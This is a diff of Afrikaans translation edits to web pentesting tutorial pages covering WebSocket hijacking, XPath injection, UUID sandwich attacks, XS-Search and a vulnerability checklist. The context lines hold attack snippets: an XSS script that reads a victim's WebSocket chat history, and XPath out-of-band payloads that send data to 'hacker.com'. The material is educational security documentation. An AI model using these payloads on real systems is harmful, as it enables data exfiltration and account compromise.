-Let op dat die eerste Unicode karakter wat voorgestel word, gestuur kan word as: `%e2%89%ae` of as `%u226e`
+Let daarop dat die eerste Unicode karakter wat voorgestel word, gestuur kan word as: `%e2%89%ae` of as `%u226e`
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
 
 ### Fuzzing Regexes
 
-Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **genormaliseer** maar dan **dit soos dit is** benader.
+Wanneer die backend **gebruikersinvoer met 'n regex** nagaan, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
 
 Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* laat jou toe om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
 

src/pentesting-web/uuid-insecurities.md

@@ -19,7 +19,7 @@ UUIDs is ontwerp om uniek te wees en **moeilik om te raai**. Hulle is gestruktur
 > xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
 >
 > - Die **posisie van die M** dui die UUID **weergawe** aan. In die voorbeeld hierbo, is dit UUID v**1**.
-> - Die **posisie van die N** dui die UUID variasie aan.
+> - Die **posisie van die N** dui die UUID variant aan.
 
 ## Sandwich-aanval
 
@@ -47,7 +47,7 @@ Stel jou 'n webtoepassing voor wat UUID v1 gebruik om wagwoordherstel skakels te
 4. **Brute Force Aanval:**
 
 - Die aanvaller gebruik 'n hulpmiddel om UUIDs tussen hierdie twee waardes te genereer en toets elke gegenereerde UUID deur te probeer om toegang te verkry tot die wagwoordherstel skakel (bv. \`https://www.acme.com/reset/\<generated-UUID>\`).
-- As die webtoepassing nie voldoende koersbeperking of blokkeer sulke pogings nie, kan die aanvaller vinnig al die moontlike UUIDs in die reeks toets.
+- As die webtoepassing nie voldoende koerslimiet of blokkeer sulke pogings nie, kan die aanvaller vinnig al die moontlike UUIDs in die reeks toets.
 
 5. **Toegang Verkry:**
 

src/pentesting-web/web-tool-wfuzz.md

@@ -36,7 +36,7 @@ wfuzz -e printers #Prints the available output formats
 wfuzz -e encoders #Prints the available encoders
 #Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
 ```
-Om 'n enkodeerder te gebruik, moet jy dit in die **"-w"** of **"-z"** opsie aandui.
+Om 'n kodering te gebruik, moet jy dit in die **"-w"** of **"-z"** opsie aandui.
 
 Voorbeelde:
 ```bash

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -7,10 +7,10 @@ In elke Web Pentest is daar **verskeie verborge en voor die hand liggende plekke
 ## Proxies
 
 > [!NOTE]
-> Vandag **gebruik** **web** **toepassings** gewoonlik **n tipe** **tussenpersoon** **proxies**, hierdie kan (mis)bruik word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
+> Vandag **gebruik** **web** **toepassings** gewoonlik **n soort van** **tussenpersoon** **proxies**, wat (mis)bruik kan word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
 
 - [ ] [**Misbruik van hop-by-hop headers**](abusing-hop-by-hop-headers.md)
-- [ ] [**Cache Besmetting/Cache Misleiding**](cache-deception/)
+- [ ] [**Cache Besoedeling/Cache Misleiding**](cache-deception/)
 - [ ] [**HTTP Versoek Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
 - [ ] [**Bediener-kant Insluiting/Edge Side Insluiting**](server-side-inclusion-edge-side-inclusion-injection.md)
@@ -24,7 +24,7 @@ In elke Web Pentest is daar **verskeie verborge en voor die hand liggende plekke
 > Meeste van die webtoepassings sal **gebruikers toelaat om sekere data in te voer wat later verwerk sal word.**\
 > Afhangende van die struktuur van die data wat die bediener verwag, mag sommige kwesbaarhede van toepassing wees of nie.
 
-### **Gereflekteerde Waardes**
+### **Gereflecteerde Waardes**
 
 As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
 
@@ -33,7 +33,7 @@ As die ingevoerde data op een of ander manier in die antwoord weerspieël kan wo
 - [ ] [**CRLF**](crlf-0d-0a.md)
 - [ ] [**Hangende Markup**](dangling-markup-html-scriptless-injection/)
 - [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
-- [ ] [**Oop Oorplasing**](open-redirect.md)
+- [ ] [**Oop Hernoeming**](open-redirect.md)
 - [ ] [**Prototipe Besoedeling na XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
 - [ ] [**Bediener-kant Insluiting/Edge Side Insluiting**](server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Bediener-kant Versoek Forgery**](ssrf-server-side-request-forgery/)
@@ -63,10 +63,10 @@ As die funksionaliteit gebruik kan word om 'n tipe data in die agtergrond te soe
 
 ### **Vorms, WebSockets en PostMsgs**
 
-Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies uitvoer, mag kwesbaarhede ontstaan.
+Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies uitvoer, kan kwesbaarhede ontstaan.
 
 - [ ] [**Cross Site Versoek Forgery**](csrf-cross-site-request-forgery.md)
-- [ ] [**Cross-site WebSocket kaping (CSWSH)**](websocket-attacks.md)
+- [ ] [**Cross-site WebSocket kaap (CSWSH)**](websocket-attacks.md)
 - [ ] [**PostMessage Kwetsbaarhede**](postmessage-vulnerabilities/)
 
 ### **HTTP Headers**
@@ -74,7 +74,7 @@ Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies ui
 Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige kwesbaarhede teenwoordig wees.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Inhoud Sekuriteit Beleid omseiling**](content-security-policy-csp-bypass/)
+- [ ] [**Inhoud Sekuriteitsbeleid omseiling**](content-security-policy-csp-bypass/)
 - [ ] [**Koekies Hacking**](hacking-with-cookies/)
 - [ ] [**CORS - Misconfigurasies & Omseiling**](cors-bypass.md)
 
@@ -91,9 +91,9 @@ Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om
 - [ ] [**Herstel van Vergete Wagwoord Omseiling**](reset-password.md)
 - [ ] [**Registrasie Kwetsbaarhede**](registration-vulnerabilities.md)
 
-### **Gestructureerde objekte / Spesifieke funksies**
+### **Gestructureerde objek / Spesifieke funksies**
 
-Sommige funksies sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees aangesien dit daardie tipe data moet verwerk.\
+Sommige funksies sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees, aangesien dit daardie tipe data moet verwerk.\
 Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Inspuitings).
 
 - [ ] [**Deserialisering**](deserialization/)

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -10,7 +10,7 @@ In elke Web Pentest is daar **verskeie verborge en voor die hand liggende plekke
 > Vandag **gebruik** **web** **toepassings** gewoonlik **n soort van** **tussenpersoon** **proxies**, wat (mis)bruik kan word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
 
 - [ ] [**Misbruik van hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
-- [ ] [**Cache Besoedeling/Cache Misleiding**](../cache-deception.md)
+- [ ] [**Cache Besmetting/Cache Misleiding**](../cache-deception.md)
 - [ ] [**HTTP Versoek Smuggling**](../http-request-smuggling/)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Bediener-kant Insluiting/Edge Side Insluiting**](../server-side-inclusion-edge-side-inclusion-injection.md)
@@ -80,21 +80,21 @@ Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige
 
 ### **Omseilings**
 
-Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om te omseil.
+Daar is verskeie spesifieke funksionaliteite waar sommige omseilings nuttig mag wees om te omseil.
 
 - [ ] [**2FA/OTP Omseiling**](../2fa-bypass.md)
-- [ ] [**Omseil Betaling Proses**](../bypass-payment-process.md)
+- [ ] [**Omseiling van Betaling Proses**](../bypass-payment-process.md)
 - [ ] [**Captcha Omseiling**](../captcha-bypass.md)
 - [ ] [**Inlog Omseiling**](../login-bypass/)
 - [ ] [**Ras Toestand**](../race-condition.md)
 - [ ] [**Tarief Limiet Omseiling**](../rate-limit-bypass.md)
-- [ ] [**Herstel Vergete Wagwoord Omseiling**](../reset-password.md)
+- [ ] [**Herstel van Vergete Wagwoord Omseiling**](../reset-password.md)
 - [ ] [**Registrasie Kwetsbaarhede**](../registration-vulnerabilities.md)
 
-### **Gestructureerde objek / Spesifieke funksies**
+### **Gestructureerde objek / Spesifieke funksionaliteite**
 
-Sommige funksies sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees aangesien dit daardie tipe data moet verwerk.\
-Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Inspuitings).
+Sommige funksionaliteite sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees, aangesien dit daardie tipe data moet verwerk.\
+Sommige **spesifieke funksionaliteite** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Inspuitings).
 
 - [ ] [**Deserialisering**](../deserialization/)
 - [ ] [**E-pos Header Inspuiting**](../email-injections.md)
@@ -103,16 +103,16 @@ Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat
 
 ### Lêers
 
-Funksies wat die opgelaai van lêers toelaat, mag kwesbaar wees vir verskeie probleme.\
-Funksies wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode uitvoer.\
-Gebruikers wat lêers wat deur gebruikers opgelaai of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
+Funksionaliteite wat die opgelaai van lêers toelaat, mag kwesbaar wees vir verskeie probleme.\
+Funksionaliteite wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode uitvoer.\
+Gebruikers wat lêers oopmaak wat deur gebruikers opgelaai is of outomaties gegenereer is wat gebruikersinvoer insluit, mag gecompromitteer word.
 
 - [ ] [**Lêer Oplaai**](../file-upload/)
 - [ ] [**Formule Inspuiting**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Inspuiting**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Bediener-kant XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 
-### **Eksterne Identiteit Bestuur**
+### **Eksterne Identiteitsbestuur**
 
 - [ ] [**OAUTH na Rekening oorname**](../oauth-to-account-takeover.md)
 - [ ] [**SAML Aanvalle**](../saml-attacks/)

src/pentesting-web/websocket-attacks.md

@@ -1,20 +1,20 @@
-# WebSocket Aanvalle
+# WebSocket-aanvalle
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Wat is WebSockets
 
-WebSocket verbindings word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
+WebSocket-verbindinge word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
 
-### Vestiging van WebSocket Verbindings
+### Vestiging van WebSocket-verbindinge
 
-'n Gedetailleerde verduideliking oor die vestiging van WebSocket verbindings kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket verbindings word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
+'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket-verbindinge word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
 Die `wss` protokol dui 'n WebSocket-verbinding aan wat met **TLS** beveilig is, terwyl `ws` 'n **onbeveiligde** verbinding aandui.
 
-Tydens die verbindingseinstelling word 'n handdruk tussen die blaaier en bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
+Tydens die verbindingseestelling word 'n handdruk tussen die blaaiers en die bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
 
 Blaaier stuur 'n handdrukversoek:
 ```javascript
@@ -42,7 +42,7 @@ Die verbinding bly oop vir boodskapswisseling in beide rigtings sodra dit gevest
 - 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` header gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
 - Die `Sec-WebSocket-Accept` header in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket-verbinding te open, verifieer.
 
-Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende regstreekse kommunikasie.
+Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende regte-tyd kommunikasie.
 
 ### Linux-konsol
 
@@ -65,7 +65,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 
 Jy kan die **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **gebruik om bekend** **kwesbaarhede** in websockets outomaties te ontdek, te vingerafdruk en te soek.
 
-### Websocket Ontwikkelhulpmiddels
+### Websocket Ontfouting gereedskap
 
 - **Burp Suite** ondersteun MitM websockets kommunikasie op 'n baie soortgelyke manier as wat dit vir gewone HTTP kommunikasie doen.
 - Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite uitbreiding** sal jou toelaat om beter Websocket kommunikasies in Burp te bestuur deur die **geskiedenis** te verkry, **afluisterreëls** in te stel, **ooreenkoms en vervang** reëls te gebruik, **Intruder** en **AutoRepeater** te gebruik.
@@ -88,7 +88,7 @@ Aanvallers kan dit benut deur 'n **kwaadaardige webblad** te huisves wat 'n cros
 
 Let daarop dat wanneer 'n **websocket** verbinding **gestig** word, die **koekie** na die bediener **gestuur** word. Die **bediener** mag dit gebruik om elke **spesifieke** **gebruiker** met sy **websocket** **sessie gebaseer op die gestuurde koekie** te **verbind**.
 
-As die **websocket** **bediener** **terugstuur die geskiedenis van die gesprek** van 'n gebruiker as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal **automaties** gestuur word om die slagoffer gebruiker te magtig) **stuur** "**READY**" in staat wees om die geskiedenis van die **gesprek** te **herwin**.
+Dan, as die **websocket** **bediener** **die geskiedenis van die gesprek** van 'n gebruiker terugstuur as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal **automaties** gestuur word om die slagoffer gebruiker te magtig) **stuur** "**READY**" in staat wees om die geskiedenis van die **gesprek** te **herwin**.
 ```markup
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@@ -134,9 +134,9 @@ Deur die webtoepassing bloot te stel en 'n gebruiker te laat aansluit, sal jy in
 ```javascript
 sudo python3 -m http.server 80
 ```
-## Wedrenningstoestande
+## Wedrenstoestande
 
-Wedrenningstoestande in WebSockets is ook 'n ding, [check this information to learn more](race-condition.md#rc-in-websockets).
+Wedrenstoestande in WebSockets is ook 'n ding, [check this information to learn more](race-condition.md#rc-in-websockets).
 
 ## Ander kwesbaarhede
 

src/pentesting-web/xpath-injection.md

@@ -22,7 +22,7 @@ Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hier
 Voorbeelde van paduitdrukkings en hul resultate sluit in:
 
 - **bookstore**: Alle nodes met die naam "bookstore" word gekies.
-- **/bookstore**: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element verteenwoordig word deur 'n pad wat met 'n skuinsstreep (/) begin.
+- **/bookstore**: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element voorgestel word deur 'n pad wat met 'n skuinsstreep (/) begin.
 - **bookstore/book**: Alle boekelemente wat kinders van bookstore is, word gekies.
 - **//book**: Alle boekelemente in die dokument word gekies, ongeag hul ligging.
 - **bookstore//book**: Alle boekelemente wat afstammelinge van die bookstore-element is, word gekies, maak nie saak hul posisie onder die bookstore-element nie.
@@ -32,10 +32,10 @@ Voorbeelde van paduitdrukkings en hul resultate sluit in:
 
 Predikate word gebruik om keuses te verfyn:
 
-- **/bookstore/book\[1]**: Die eerste boekelementkind van die bookstore-element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as \[0] indekseer, is om die SelectionLanguage na XPath deur JavaScript te stel.
-- **/bookstore/book\[last()]**: Die laaste boekelementkind van die bookstore-element word gekies.
-- **/bookstore/book\[last()-1]**: Die voorlaaste boekelementkind van die bookstore-element word gekies.
-- **/bookstore/book\[position()<3]**: Die eerste twee boekelementkinders van die bookstore-element word gekies.
+- **/bookstore/book\[1]**: Die eerste boekelement-kind van die bookstore-element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as \[0] indekseer, is om die SelectionLanguage na XPath deur JavaScript te stel.
+- **/bookstore/book\[last()]**: Die laaste boekelement-kind van die bookstore-element word gekies.
+- **/bookstore/book\[last()-1]**: Die voorlaaste boekelement-kind van die bookstore-element word gekies.
+- **/bookstore/book\[position()<3]**: Die eerste twee boekelemente kinders van die bookstore-element word gekies.
 - **//title\[@lang]**: Alle title-elemente met 'n lang-attribuut word gekies.
 - **//title\[@lang='en']**: Alle title-elemente met 'n "lang" attribuutwaarde van "en" word gekies.
 - **/bookstore/book\[price>35.00]**: Alle boekelemente van die bookstore met 'n prys groter as 35.00 word gekies.
@@ -138,7 +138,7 @@ and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of
 doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
 doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
 ```
-## Verifikasie Omseiling
+## Outentigingsomseiling
 
 ### **Voorbeeld van navrae:**
 ```

src/pentesting-web/xs-search.md

@@ -8,8 +8,8 @@ XS-Search is 'n metode wat gebruik word om **kruis-oorsprong inligting** te **on
 
 Belangrike komponente wat betrokke is by hierdie aanval sluit in:
 
-- **Kwetsbare Web**: Die teikenwebwerf waaruit inligting onttrek moet word.
-- **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die ontploffing huisves.
+- **Kwetsbare Web**: Die teikenwebwerf waarvan inligting bedoel is om onttrek te word.
+- **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die eksploit aanbied.
 - **Insluitingsmetode**: Die tegniek wat gebruik word om die Kwetsbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
 - **Lek Tegniek**: Tegnieke wat gebruik word om verskille in die toestand van die Kwetsbare Web te onderskei op grond van inligting wat deur die insluitingsmetode versamel is.
 - **Toestande**: Die twee potensiële toestande van die Kwetsbare Web, wat die aanvaller poog om te onderskei.
@@ -22,24 +22,24 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te
 - **Statuskode**: Onderskeiding tussen **verskeie HTTP-responsstatuskodes** kruis-oorsprong, soos bedienerfoute, kliëntfoute, of outentikasiefoute.
 - **API Gebruik**: Identifisering van **gebruik van Web API's** oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik.
 - **Herlidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
-- **Bladsy-inhoud**: Waarneming van **verskille in die HTTP-responsliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde.
-- **HTTP-kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-responskop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
-- **Tydsberekening**: Opmerking van konsekwente tydverskille tussen die twee toestande.
+- **Bladsy Inhoud**: Waarneming van **verskille in die HTTP-responsliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde.
+- **HTTP Kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-responskop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
+- **Tydsduur**: Opmerking van konsekwente tydverskille tussen die twee toestande.
 
 ### Insluitingsmetodes
 
-- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevoeging van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
+- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebrek aan raam beskerming** het, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap.
-- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Modern blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
+- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
 - **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg.
 
 ### Lek Tegnieke
 
 - **Gebeurtenis Handler**: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos **onload** en **onerror** insigte bied oor hulpbronlaai sukses of mislukking.
-- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur te onderskei tussen die teenwoordigheid en afwesigheid daarvan.
+- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk van die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei.
 - **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
-- **Globale Toestand**: Waarneembare interaksies met blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
-- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsberekening vir die dokument en gelaaide hulpbronne, wat afleidings oor versoekte hulpbronne moontlik maak.
+- **Globale Toestand**: Waarneembare interaksies met die blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
+- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsduur vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
 - **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel.
 
 ## XSinator Gereedskap & Papier
@@ -49,13 +49,13 @@ XSinator is 'n outomatiese hulpmiddel om **blaaiers teen verskeie bekende XS-Lea
 Jy kan **die hulpmiddel in** [**https://xsinator.com/**](https://xsinator.com/)
 
 > [!WARNING]
-> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
+> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
 
 ## **Tydgebaseerde tegnieke**
 
 Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.
 
-**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.\
+**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmeetings te verkry.\
 Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\
 Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
 
@@ -73,7 +73,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
 xs-search/cookie-bomb-+-onerror-xs-leak.md
 {{#endref}}
 
-Die kode voorbeeld probeer om **skrip objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, oudio's kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS in te voeg).
+Die kode voorbeeld probeer om **scripts objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, oudio's kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS af in te voeg).
 
